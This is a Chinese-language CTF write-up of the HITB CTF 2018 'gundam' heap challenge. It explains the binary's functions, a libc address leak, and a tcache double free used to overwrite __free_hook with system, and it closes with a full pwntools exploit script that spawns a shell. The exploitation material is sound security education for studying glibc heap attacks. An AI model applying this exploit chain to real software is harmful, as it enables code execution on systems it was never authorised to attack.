[堆利用:TCache机制]HITB CTF 2018:gundam

7 篇文章 0 订阅

[堆利用:TCache机制]HITB CTF 2018:gundam

题目链接:https://github.com/moonAgirl/CTF/tree/master/2018/Hitbxctf/gundam

0x00 逆向分析

sub_AEA

unsigned __int64 sub_AEA()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts(&s);
  puts("1 . Build a gundam ");
  puts("2 . Visit gundams ");
  puts("3 . Destory a gundam");
  puts("4 . Blow up the factory");
  puts("5 . Exit");
  puts(&s);
  printf("Your choice : ");
  return __readfsqword(0x28u) ^ v1;
}

先看一下菜单,字面意思很好理解
1.构造一个高达 2.遍历输出每个高达 3.删除一个高达 4.炸掉工厂 5.退出
然后按顺序看看每个功能对应的函数

sub_B7D 构造高达

__int64 sub_B7D()
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  s = 0LL;
  buf = 0LL;
  if ( (unsigned int)dword_20208C <= 8 )
  {
    s = malloc(0x28uLL);
    memset(s, 0, 0x28uLL);
    buf = malloc(0x100uLL);
    if ( !buf )
    {
      puts("error !");
      exit(-1);
    }
    printf("The name of gundam :");
    read(0, buf, 0x100uLL);
    *((_QWORD *)s + 1) = buf;
    printf("The type of the gundam :");
    __isoc99_scanf("%d", &v1);
    if ( v1 < 0 || v1 > 2 )
    {
      puts("Invalid.");
      exit(0);
    }
    strcpy((char *)s + 16, &aFreedom[20 * v1]);
    *(_DWORD *)s = 1;
    for ( i = 0; i <= 8; ++i )
    {
      if ( !factory[i] )
      {
        factory[i] = s;
        break;
      }
    }
    ++dword_20208C;
  }
  return 0LL;
}

几行关键性的代码:

s = malloc(0x28)
buf = malloc(0x100uLL);
read(0, buf, 0x100uLL);
*((_QWORD *)s + 1) = buf;
strcpy((char *)s + 16, &aFreedom[20 * v1]);
*(_DWORD *)s = 1;

for ( i = 0; i <= 8; ++i )
    {
      if ( !factory[i] )
      {
        factory[i] = s;
        break;
      }
    }

可以分析出高达的结构体

struct gundam{
	uint32_t flag;
	char *name;
	char type[24];
}gundam;
struct gundam *factory[9]

每个高达都包含了两个chunk,一个0x30大小的factory,一个0x100大小的name。
factory主要装了一个flag,用于表示工厂内是否有高达(之后删除高达会用到),
一个name chunk的指针,一个高达类型,根据用户选择对应一个字符串。
特别关注一下read函数,buf的大小是0x100而读取大小也是0x100,并且没有对最后一位字符进行\x00处理,因此存在信息泄露。
name内部只有字符串,很简单的构造。

sub_EF4 遍历输出高达信息

__int64 sub_EF4()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]

  if ( dword_20208C )
  {
    for ( i = 0; i <= 8; ++i )
    {
      if ( *((_QWORD *)&factory + i) && **((_DWORD **)&factory + i) )
      {
        printf("\nGundam[%u] :%s", i, *(const char **)(*((_QWORD *)&factory + i) + 8LL));
        printf("Type[%u] :%s\n", i, (const char *)(*((_QWORD *)&factory + i) + 16LL));
      }
    }
  }
  else
  {
    puts("No gundam produced!");
  }
  return 0LL;
}

没有什么特别的内容。

sub_D32 删除一个高达

__int64 sub_D32()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( dword_20208C )
  {
    printf("Which gundam do you want to Destory:");
    __isoc99_scanf("%d", &v1);
    if ( v1 > 8 || !factory[v1] )
    {
      puts("Invalid choice");
      return 0LL;
    }
    *(_DWORD *)factory[v1] = 0;
    free(*(void **)(factory[v1] + 8LL));
  }
  else
  {
    puts("No gundam");
  }
  return 0LL;
}

可以看到删除高达的操作是
1.将flag置0
2.free掉name的chunk
从中可以发现的漏洞:free掉name后指针没有置空,依旧可以free

sub_E22 炸掉工厂

unsigned __int64 sub_E22()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( i = 0; i <= 8; ++i )
  {
    if ( *((_QWORD *)&factory + i) && !**((_DWORD **)&factory + i) )
    {
      free(*((void **)&factory + i));
      *((_QWORD *)&factory + i) = 0LL;
      --dword_20208C;
    }
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

把所有flag=0但是结构体不为0的factory全都free了

0x01 漏洞利用

1.泄露地址
2.double free,构造堆快,修改__free_hook
3.执行system(’/bin/sh’)

先放一下方便操作的对应功能的函数定义

def build(name):
    io.sendlineafter("choice : ","1")
    io.sendlineafter("gundam :",name)
    io.sendlineafter("gundam :",'0')

def visit():
    io.sendlineafter("choice : ",'2')

def destroy(idx):
    io.sendlineafter("choice : ",'3')
    io.sendlineafter("Destory:",str(idx))

def blow_up():
    io.sendlineafter("choice : ",'4')

1.泄露地址

在sub_B7D中提到,read函数并没有对输入字符串末进行处理,因此只要装满就能泄露字符串后的地址。但是在2.26版本中,free掉堆块是会被放到tcache里的,tcache的位置在heap的底部,和libc之间的地址差存在随机性。但是tcache有容量上限,只要把tcache中的7个位置装满,第八个就会被放到unsorted bin中。

    for i in range(9):
        build('A'*7)
    for i in range(8):
        destroy(i)
    blow_up() 

先随便多造几个高达,然后free掉8个,并把他们的工场都用blow_up函数都炸了,用pwndbg可以看到此时的堆是这样的:
在这里插入图片描述
可以看到有7个chunk进了fastbin,第八个的factory进了fastbin,name进了unsortedbin。
此时,我们再把他们八个高达build出来,看一下效果

	for i in range(7):
        build('A'*7)
    build('B'*7)

在这里插入图片描述
可以看到所有的chunk都被激活了,我们再仔细看看第八个chunk,也就是我塞了7个’B’的chunk。
在这里插入图片描述
然后就会惊喜的发现,在BBBBB后面连着一个神秘的7f开头的地址。
跳过去看看:
在这里插入图片描述
好家伙,这不是main_arena的地址吗。
在这里插入图片描述
通过vmmap可以看到,这个main_arena的地址在libc基地址下方,和heap相反,这里不会受到随机地址的影响,因此可以直接推算出libc的基地址。

在这里插入图片描述
看一下程序执行过程中,泄露的效果。
通过本地调试即可算出这个地址和libc基地址之间的距离,从而继续推算出system函数地址以及__free_hook函数的地址,具体过程就不详细讲了,直接放脚本:

def leak():
    global free_hook_addr,system_addr

    for i in range(9):
        build('A'*7)
    for i in range(8):
        destroy(i)
    blow_up() 

    for i in range(7):
        build('A'*7)
    build('B'*7)

    io.interactive()
    visit()
    leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00'))
    libc_base = leak - 0x3dac78
    free_hook_addr = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    log.info('libc:0x%x' % libc_base)
    log.info("__free_hook:0x%x" % free_hook_addr)
    log.info("system:0x%x" % system_addr)

这里的偏移地址0x3dac78就是之前第八个chunk泄露的地址和vmmap里看到的libc基地址相减得到的。
即7f687cd88c78(泄露地址) - 0x7f687c9ae000(libc基地址) = 0x3dac78(偏移地址)

2.double free,构造堆快,修改__free_hook

在2.26的tcache中不存在doublefree的检测机制,而之前我们也提到,sub_D32 也就是删除高达的函数,在free掉name之后并没有删除name指针,也就是说可以进行double free的操作。和fastbin不同,tcache的double free甚至不需要换一个堆free,直接两次free即可。

    destroy(2)
    destroy(1)
    destroy(0)
    #1
    destroy(0)
    #2
    blow_up()

看似简单的五行代码其中暗藏玄机
前三行就是简单的按顺序free了三个name堆块。
在#1处attach一下,看看此时的堆块分布:
在这里插入图片描述

有三个堆块进入了fastbin

之后再到#2处attach一下:
在这里插入图片描述
然后就会惊人的发现,明明又free了一个堆块,但是显示的堆块并没有增加一个,反而减少了两个。
与此同时,还会发现这个free chunk的fd指针,指向的是它自己的用户区域,也就是chunk首地址+0x10的位置。
为了方便理解,我用excel做了个草图
在这里插入图片描述
可以看到,在#1处,tcache还是一个正常的单链表,但是当我再free一个chunk0的时候,它会按顺序进行如下操作:
1.将新free的chunk的fd指针指向头节点指向的第一个chunk,也就是把新来的chunk0的fd指针,指向了第一个chunk(还是chunk0)
2.把头节点的指针指向新free的chunk
因此就构成了图中这样的结果。
而此时,也就完成了double free。

然后执行了blow_up,将之前的0 1 2的工厂都炸了,方便之后构造三个chunk 0 1 2。

	build(p64(free_hook_addr))
    build('/bin/sh')
    build(p64(system_addr))

这里就是chunk构造部分。接着之前完成的double free,此时的chunk0内部是这样的:
在这里插入图片描述
可以看到chunk0内部只有一个指向自己的地址。
然后,执行build(p64(free_hook_addr))
在这里插入图片描述
可以看到,chunk0的fd指针已经变成了7f开头的__free_hook地址。

再执行build(’/bin/sh’),
在这里插入图片描述
此时,chunk0变成了只装了一个’/bin/sh’字符串的chunk了
在这里插入图片描述
与此同时,我们可以看到,tcache的头指针已经指向了__free_hook函数。
因为在上一步操作后,chunk0的fd指针已经指向了__free_hook,也就是说,当chunk0再被申请以后,再下一次申请,就会创建一个以__free_hook地址为起始用户区域的一个chunk,分配给它。
在这里插入图片描述
最后一步,执行build(p64(system_addr)),申请一个堆块,并将system函数的地址写入,本质上就是申请了以__free_hook为用户区域起始地址的chunk。也就是将__free_hook的地址改成了system。
到此,构造chunk已经结束,我们已经成功将system函数绑定在了free的钩子上,此时只要free一个用户区域是’/bin/sh’的chunk,就相当于执行了system(’/bin/sh’),就能成功获得shell。
于是执行

	destroy(1)    
    io.interactive()

在这里插入图片描述

成功获得shell。

0x03 脚本

from pwn import *
from LibcSearcher import *

io = process('./gundam')
libc = ELF('/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc.so.6')
#context.log_level="debug"

def build(name):
    io.sendlineafter("choice : ","1")
    io.sendlineafter("gundam :",name)
    io.sendlineafter("gundam :",'0')

def visit():
    io.sendlineafter("choice : ",'2')

def destroy(idx):
    io.sendlineafter("choice : ",'3')
    io.sendlineafter("Destory:",str(idx))

def blow_up():
    io.sendlineafter("choice : ",'4')

def leak():
    global free_hook_addr,system_addr

    for i in range(9):
        build('A'*7)
    for i in range(8):
        destroy(i)
    blow_up() 

    for i in range(7):
        build('A'*7)
    build('B'*7)
    visit()
    leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00'))
    libc_base = leak - 0x3dac78 #这里的偏移地址请在本地调试自行计算
    free_hook_addr = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    log.info('libc:0x%x' % libc_base)
    log.info("__free_hook:0x%x" % free_hook_addr)
    log.info("system:0x%x" % system_addr)

def overwrite():
    destroy(2)
    destroy(1)
    destroy(0)
    destroy(0)
    blow_up()
    build(p64(free_hook_addr))
    build('/bin/sh')
    build(p64(system_addr))
    
def pwn():
    destroy(1)    
    io.interactive()

def debug(id):
    log.info('check point %d' % id)
    gdb.attach(io)
    pause()

if __name__ == "__main__":
    leak()
    overwrite()
    pwn()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值